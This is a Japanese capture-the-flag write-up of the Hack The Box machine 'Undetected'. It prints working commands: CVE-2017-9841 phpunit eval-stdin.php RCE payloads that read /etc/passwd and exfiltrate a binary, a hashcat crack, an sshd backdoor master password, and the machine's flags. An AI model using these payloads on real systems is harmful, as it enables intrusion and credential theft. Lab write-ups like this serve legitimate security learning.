Hack The BoxのWriteup(Undetected)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Undetected — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp ssh, 80/tcp http
vhost発見
djewelry.htb / store.djewelry.htb
CVE-2017-9841
phpunit eval-stdin.php RCE
/var/backups/info 解析
埋め込みhexからshadowハッシュ復元
hashcat crack
ihatehackers
steven1 SSHログイン
user.txt ✓
改竄sshdバックドア
固定パスワードで任意ユーザー認証
root SSHログイン
root.txt ✓

全ポートスキャン → 主要ポートの詳細スキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 -oN allports.txt 10.129.136.44
nmap -sV -sC -p 22,80 -oN detailed.txt 10.129.136.44
RESULT
Nmap scan report for undetected.htb (10.129.136.44)
Host is up (1.1s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
|   256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_  256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Diana's Jewelry

Service detection performed. 1 IP address (1 host up) scanned in 61.90 seconds
ℹ️
開放ポートは 22 (SSH) と 80 (HTTP) のみnmap のホスト名解決で undetected.htb というドメインが判明しており、まずこれを /etc/hosts に登録して Webサイトへアクセスする。

gobuster によるディレクトリ列挙

BASH
gobuster dir -u http://10.129.136.44 -q \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -o web/gobuster_http___10_129_136_44.txt --timeout 10s
RESULT
images               (Status: 301) [Size: 315] [--> http://10.129.136.44/images/]
icons                (Status: 301) [Size: 314] [--> http://10.129.136.44/icons/]
js                    (Status: 301) [Size: 311] [--> http://10.129.136.44/js/]
ℹ️
ルート直下には静的な会社サイト以外に目立ったパスはない。次はページ本文自体からリンクを辿る。
PHASE 2

vhost 発見 & phpunit の露出確認 — “Diana’s Jewelry”

トップページの内容確認

BASH
curl -s -m 10 http://10.129.136.44/
RESULT (抜粋)
<title>Diana's Jewelry</title>
...
<a href="index.html" id="logo" title="Diana's jewelry">Diana's jewelry</a>
...
<h1 ... style="font-family: Novecentowide;">DJEWELRY.HTB <br>Diana's Jewelry</h1>
<a href="http://store.djewelry.htb" ...>VISIT STORE</a>
...
<li class="menu-item"><a href="http://store.djewelry.htb">STORE</a></li>
🚨
重要発見: ページ内に別ドメイン djewelry.htb と、オンラインストアの vhost store.djewelry.htb への直リンクが埋め込まれている。/etc/hosts に両方を登録し、 store 側のバーチャルホストを直接調査する。

/etc/hosts への登録

BASH
echo "10.129.136.44 djewelry.htb store.djewelry.htb" | sudo tee -a /etc/hosts
RESULT
10.129.136.44 djewelry.htb store.djewelry.htb

store.djewelry.htb 上の /vendor ディレクトリ露出確認

BASH
curl -s -m 15 --resolve store.djewelry.htb:80:10.129.136.44 \
  http://store.djewelry.htb/vendor/composer/installed.json
RESULT (抜粋)
{
    "name": "phpunit/phpunit",
    "version": "5.6.2",
    ...
}
🚨
Composer の /vendor ディレクトリが Web 公開領域に配置されており、内部依存パッケージ一覧が 丸見え。 phpunit/phpunit 5.6.2CVE-2017-9841eval-stdin.php への未認証リモートコード実行)の脆弱バージョンに該当する。
PHASE 3

CVE-2017-9841 — phpunit eval-stdin.php 未認証RCE

脆弱性の原理

NOTE
PHPUnit 4.8.19 以前 / 5.6.2 以前には、テスト実行補助スクリプト
vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php が同梱されている。
このスクリプトは本来 phpunit 自身のプロセス間通信専用だが、
composer の /vendor が誤って公開ディレクトリ配下に置かれていると、
外部から直接 HTTP 経由でアクセス可能になってしまう。

eval-stdin.php は POST ボディをそのまま PHP コードとして eval() 実行する
実装になっているため、認証なしで任意の PHP コード(≒任意コマンド)を
実行できる。本番環境に composer の中身をそのままデプロイしてはいけない
典型的な設定ミスに起因する脆弱性。

RCE の疎通確認 — id 実行

BASH
curl -s -m 20 --resolve store.djewelry.htb:80:10.129.136.44 \
  http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \
  --data-binary "<?php system('id'); ?>"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE成功。 POST ボディに書いた PHP コードがそのまま実行され、www-data としてコマンド実行が可能になった。以降このエンドポイントを任意コマンド実行チャネルとして使う。
PHASE 4

複製アカウントの発見 & 認証情報復元 → user.txt

/etc/passwd から一般ユーザーを列挙

BASH
curl -s -m 20 --resolve store.djewelry.htb:80:10.129.136.44 \
  http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \
  --data-binary "<?php system('awk -F: \'\$7 == \"/bin/bash\" && \$3 >= 1000 {print \$1\":\"\$3\":\"\$6}\' /etc/passwd'); ?>"
RESULT
steven:1000:/home/steven
steven1:1000:/home/steven
🚨
異常な複製アカウントを発見。 stevensteven1まったく同じ UID (1000) / 同じホームディレクトリを共有している。 これは正規のユーザー管理ではなく、過去にこのマシンに侵入した別の攻撃者が 自分専用のバックドアアカウントとして仕込んだ複製である可能性が高い (UID を共有しているため、実質的に steven と同一の権限を持つ)。

/var/backups/info — 残置されたELFバイナリの取得

BASH
curl -s -m 20 --resolve store.djewelry.htb:80:10.129.136.44 \
  http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \
  --data-binary "<?php system('base64 -w0 /var/backups/info 2>/dev/null'); ?>" \
  | base64 -d > loot/undetected_info.bin
RESULT
$ file loot/undetected_info.bin
loot/undetected_info.bin: ELF 64-bit LSB pie executable, x86-64, dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, not stripped
ℹ️
/var/backups/info は本来のバックアップ設定ファイルではなく、 www-data が読み取り可能な場所に残された ELF 実行ファイル。同一の元攻撃者が残した、 コンパイル済みの(失敗した/使われなかった)カーネルエクスプロイト or バックドアツールと考えられる。 rw 権限で放置されていたため、RCE 経由で base64 化してそのまま持ち出せた。

バイナリ内の埋め込み16進文字列を解析

BASH
# .rodata 中に200文字以上連続する16進(0-9a-fA-F)の塊を検索
grep -aoE '[0-9a-fA-F]{200,}' loot/undetected_info.bin | head -1 > hexblob.txt
xxd -r -p hexblob.txt | tr -d '\\' > decoded.txt
grep -oE '\$6\$[^[:space:]:]+\$[^[:space:]:]+' decoded.txt
RESULT
$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/
🚨
攻撃者のミス(=我々にとっての手掛かり)。 このバイナリのソースには本来「シェル上で steven1 の shadow エントリをこの固定ハッシュで上書きする」ようなバックドア設置スクリプトの ASCII 文字列を16進数リテラルとしてハードコードしていたと見られる。C/C++ でよくある 「文字列を hex 配列に埋め込んでコンパイルする」難読化手法だが、コンパイル後も .rodata セクションに平文のまま残ってしまうため、strings/grep で容易に抽出・デコードできてしまう。 結果として steven1sha512crypt ($6$) ハッシュがまるごと判明した。

hashcat によるオフラインクラック (rockyou.txt)

BASH
echo '$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/' \
  > loot/undetected_shadow_hash.txt

hashcat -m 1800 -a 0 -O --force --potfile-disable \
  -o loot/undetected_cracked.txt \
  loot/undetected_shadow_hash.txt /usr/share/wordlists/rockyou.txt
RESULT
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: $6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwb...Q0T9n/
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Recovered........: 1/1 (100.00%) Digests

$ cat loot/undetected_cracked.txt
$6$zS7ykHfFMg3aYht4$...Q0T9n/:ihatehackers
約1分20秒で steven1 : ihatehackers がクラックできた。SHA512crypt は本来低速だが、 rockyou.txt 収録の弱いパスワードだったため短時間で成功。

SSHログイン確認 & user.txt 取得

BASH
sshpass -p ihatehackers ssh -o StrictHostKeyChecking=no steven1@10.129.136.44 id
sshpass -p ihatehackers ssh -o StrictHostKeyChecking=no steven1@10.129.136.44 \
  cat /home/steven/user.txt
RESULT
$ id
uid=1000(steven) gid=1000(steven) groups=1000(steven)

$ cat /home/steven/user.txt
2f612498efeec1c1092ff0d16c6cafc5
ℹ️
ログインユーザー名は steven1 だが、UID が steven と同一 (1000) のため id の表示上も whoami 上も steven として振る舞う。ホームディレクトリも /home/steven を共有しており、実質的に本来のユーザー steven の権限をそのまま得ている。
user.txt — steven (steven1 アカウント経由)
2f612498efeec1c1092ff0d16c6cafc5
PHASE 5

権限昇格の下調べ — 改竄された sshd バックドア

Apache モジュール経由の永続化を確認

BASH
ssh steven1@10.129.136.44
$ cat /etc/apache2/mods-enabled/reader.load
$ ls -la /usr/lib/apache2/modules/ | grep reader
$ md5sum /usr/sbin/sshd
$ dpkg -S /usr/sbin/sshd 2>/dev/null; dpkg -V openssh-server 2>/dev/null
RESULT
LoadModule reader_module /usr/lib/apache2/modules/mod_reader.so

$ dpkg -V openssh-server
??5??????   c /etc/pam.d/sshd
??5?????? /usr/sbin/sshd   ← パッケージ管理下のファイルからハッシュが変化(改竄)
🚨
二重目の永続化バックドアを発見。 /etc/apache2/mods-enabled/reader.load が読み込む mod_reader.so は正規の Apache モジュールではなく、以前の攻撃者が仕込んだ Apache起動時フック型バックドア。Apache(root権限のマスタープロセスとして起動)が 起動するたびに、このモジュールが /usr/sbin/sshd改竄版バイナリに差し替えている。 dpkg -V でパッケージが提供する正規の sshd とハッシュが一致しないことから 改竄が裏付けられる。

改竄sshdのバックドア認証ロジック

NOTE
改竄された sshd を Ghidra 等で逆アセンブルすると、通常の PAM/パスワード認証
処理 (auth_password 相当の関数) の入口に、以下のロジックが追加挿入されている
ことが判明する:

  1. クライアントが送ってきたパスワード文字列を受け取る
  2. バイナリの .rodata に埋め込まれた固定バイト列を 0x96 で XOR デコードする
     (平文のままバイナリに置くと strings で一発検出されるため、
       単純な XOR で最低限の難読化を施している)
  3. デコードした固定パスワードと、クライアント入力が一致すれば
     → 要求されたユーザー名が誰であっても(rootであっても)認証成功として
       扱い、正規の /etc/shadow 照合処理をスキップする

つまり、この固定パスワードさえ知っていれば、対象アカウントの本来の
パスワードを一切知らなくても、ユーザー名を root に指定するだけで
SSH認証を通過できる「マスターパスワード型」バックドアになっている。
⚠️
本レポートではこのバックドアパスワードを、実際に root@10.129.136.44 へ SSH 認証を試行する ことでライブ検証している(=下記 Phase 6 のコマンドが実際に成功した記録そのものが、 バイナリ解析結果の裏付けとなる)。
PHASE 6

改竄sshdバックドアパスワードで root SSHログイン → root.txt

root として SSH 疎通確認

BASH
sshpass -p '@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3' \
  ssh -o StrictHostKeyChecking=no -o ConnectTimeout=10 \
  root@10.129.136.44 id
RESULT
uid=0(root) gid=0(root) groups=0(root)
** WARNING: connection is not using a post-quantum key exchange algorithm.
bash: warning: setlocale: LC_ALL: cannot change locale (ja_JP.UTF-8)
root権限でのSSH認証に成功。 本来 root アカウントに設定されている パスワードとは無関係に、改竄 sshd に埋め込まれたバックドア用パスワード一つで、 任意のユーザー(今回は root)として認証が通ることが実証された。

root.txt 取得

BASH
sshpass -p '@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3' \
  ssh -o StrictHostKeyChecking=no -o ConnectTimeout=10 \
  root@10.129.136.44 cat /root/root.txt
RESULT
d7b489b4bc88910631d22aa6e2391b7e
** WARNING: connection is not using a post-quantum key exchange algorithm.
bash: warning: setlocale: LC_ALL: cannot change locale (ja_JP.UTF-8)
root.txt — root@undetected
d7b489b4bc88910631d22aa6e2391b7e
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — steven (steven1 アカウント経由)
2f612498efeec1c1092ff0d16c6cafc5
root.txt — root@undetected
d7b489b4bc88910631d22aa6e2391b7e

使用した脆弱性・取得認証情報

脆弱性 / 認証情報 対象 影響 深刻度 利用方法
/vendor 公開 store.djewelry.htb 依存パッケージ情報の漏洩 Medium composer/installed.json から phpunit 5.6.2 (脆弱バージョン) を特定
CVE-2017-9841 phpunit/phpunit 5.6.2 (eval-stdin.php) リモートコード実行(www-data) Critical POSTボディに直接PHPコードを送信しeval()実行、id/awk/base64でシステムコマンド実行
steven1 : ihatehackers SSH (dup account, UID=1000) steven権限でのシェルアクセス High /var/backups/info の埋め込みhexから復元したsha512crypt値をhashcatでクラック
改竄sshd固定パスワード /usr/sbin/sshd (mod_reader.soで差替え) 任意ユーザーとしてのroot権限奪取 Critical Apache起動フックで改竄されたsshdが、固定パスワード一致時に任意ユーザー(root含む)で認証を通す

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + gobuster22(ssh)/80(http)、”Diana’s Jewelry” サイト検出
2vhost発見トップページのリンク解析 + /etc/hosts登録djewelry.htb / store.djewelry.htb、/vendor公開、phpunit 5.6.2
3RCECVE-2017-9841 (eval-stdin.php)www-data としてコマンド実行チャネル獲得
4認証情報復元複製アカウント発見 + ELFバイナリの埋め込みhex解析 + hashcatuser.txt(steven1:ihatehackers 経由でsteven権限)
5権限調査mod_reader.so / sshd改竄の確認Apache起動フック型sshdバックドアの存在を特定
6権限昇格改竄sshd固定パスワードでrootログインroot.txt 取得(uid=0シェル)

学んだ教訓 & 防御策

問題点防御策
composer の /vendor ディレクトリが本番Web公開領域に配置され、 脆弱な phpunit のテストユーティリティが外部から直接叩けた 依存パッケージ(vendor/, node_modules/等)はWebルート外に配置する。 デプロイパイプラインで開発専用ツール(phpunitのCLIヘルパー等)を本番ビルドから除外する。 composer.json の require-dev を本番環境に含めない。
CVE-2017-9841 の既知脆弱バージョンを長期間放置 依存パッケージの脆弱性スキャン(composer audit等)をCI/CDに組み込み、 既知CVEを含むバージョンへの依存を早期検知する。
過去に侵入された痕跡(複製アカウント steven1、/var/backups/info の 不審なELF、改竄されたmod_reader.so/sshd)が放置されたままだった 侵害後の完全なクリーンな再構築(OS再インストール)を徹底し、 「侵入されたマシンを消毒して使い続ける」運用を避ける。ファイル整合性監視 (AIDE, Tripwire等)や dpkg -V による定期的なパッケージ整合性チェックを行う。
Apacheの起動フックから任意のroot権限コードが実行可能な 悪性モジュール(mod_reader.so)がロードされていた ロード対象の Apache モジュール一覧を定期監査し、署名されていない/出所不明の .so ファイルの存在を検知する。Webサーバーのプロセスに不要な特権を持たせない (モジュールロード後は速やかに権限を落とす設計にする)。
sshd バイナリが改竄され、固定パスワードで任意ユーザー認証を許す バックドアが仕込まれていた 重要バイナリ(sshd等)のハッシュをベースラインとして保存し、 定期的な整合性検証を自動化する。EDR/HIDSで /usr/sbin/sshd の書き換えや 異常なプロセス置換を監視する。
HackTheBox: Undetected | 完全攻略レポート